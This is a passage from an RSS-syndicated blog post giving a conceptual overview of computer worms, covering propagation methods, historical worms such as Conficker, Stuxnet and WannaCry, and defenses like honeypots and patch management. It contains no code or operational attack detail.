<strong>Microsoft SQL Server 2000</strong>.</li><li>Used a <strong>single UDP packet</strong> to infect systems.</li><li>Infected most vulnerable hosts in <strong>less than 10 minutes</strong>.</li><li>worm-botnet</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*S8mfJcD7bUVm_tIrsYM2ug.png" /></figure><blockquote>These examples show how worms can spread faster than traditional security defenses.</blockquote><h3>6. Methods of Worm Propagation</h3><p>Worms use several techniques to spread across networks:</p><ol><li><strong>Random Scanning Worms</strong><br> The worm randomly selects IP addresses and attempts to infect them.</li><li><strong>Coordinated Scanning Worms</strong><br> Multiple infected machines scan different address ranges to increase efficiency.</li><li><strong>Topological Worms</strong><br> Use information such as email address books, server logs, or configuration files to find new targets.</li><li><strong>Contagion Worms</strong><br> Spread through normal communication processes like emails or messaging systems.</li><li><strong>Flash Worms</strong><br> Hypothetical worms designed to infect millions of systems within seconds by pre-mapping vulnerable hosts.</li></ol><blockquote>These techniques allow worms to spread rapidly and evade detection.</blockquote><h3>7. Modern Worm Examples</h3><p>In addition to early worms, several modern worms have demonstrated advanced capabilities.</p><h3>Conficker (2008)</h3><ul><li>Exploited a Windows vulnerability.</li><li>Created a large botnet of millions of infected computers.</li><li>Used domain generation algorithms to evade detection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*foVbRk3EutAegk4lUjcW8w.jpeg" /></figure><h3>Stuxnet (2010)</h3><ul><li>Highly sophisticated worm targeting <strong>industrial control systems</strong>.</li><li>Designed to sabotage nuclear facilities.</li><li>Spread through USB drives and network vulnerabilities.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*ewNAOLL4r-2ZZVM7-AWyfg.png" /></figure><h3>WannaCry (2017)</h3><ul><li>Ransomware worm that exploited the <strong>EternalBlue vulnerability</strong>.</li><li>Infected over <strong>200,000 computers in 150 countries</strong>.</li><li>Disrupted hospitals, businesses, and government services.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*f2kycnHqWjPU2kAG1bQ5xQ.png" /></figure><p>These worms illustrate the increasing sophistication of modern cyber threats.</p><h3>8. Detection and Defense Against Worms</h3><p>Several techniques are used to detect and prevent worm attacks:</p><h4>Honeypots and Honeyfarms</h4><p>Security researchers use <strong>honeypots</strong> (decoy systems) to attract and analyze worm activity. Any unexpected outgoing connection may indicate worm infection.</p><h4>Network Monitoring</h4><p>Network traffic is monitored to detect unusual scanning or propagation patterns.</p><h4>Signature Detection</h4><p>Security systems analyze malicious traffic patterns and create <strong>signatures</strong> that can be used to block worm activity automatically.</p><h4>Patch Management</h4><p>Keeping software updated and fixing vulnerabilities is one of the most effective ways to prevent worm infections.</p><h3>9. Final Thoughts :</h3><p>Computer worms represent one of the most dangerous forms of malware due to their ability to <strong>self-replicate and spread rapidly across networks</strong>. From the Morris Worm in 1988 to modern attacks like Wanna Cry, worms have evolved significantly in complexity and impact. Understanding how worms propagate and implementing effective security measures are essential for protecting modern computer networks from large-scale cyber attacks.</p><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8fd2f777e112" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/computer-worms-overview-and-analysis-8fd2f777e112">Computer Worms — Overview and Analysis by Intelithics</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>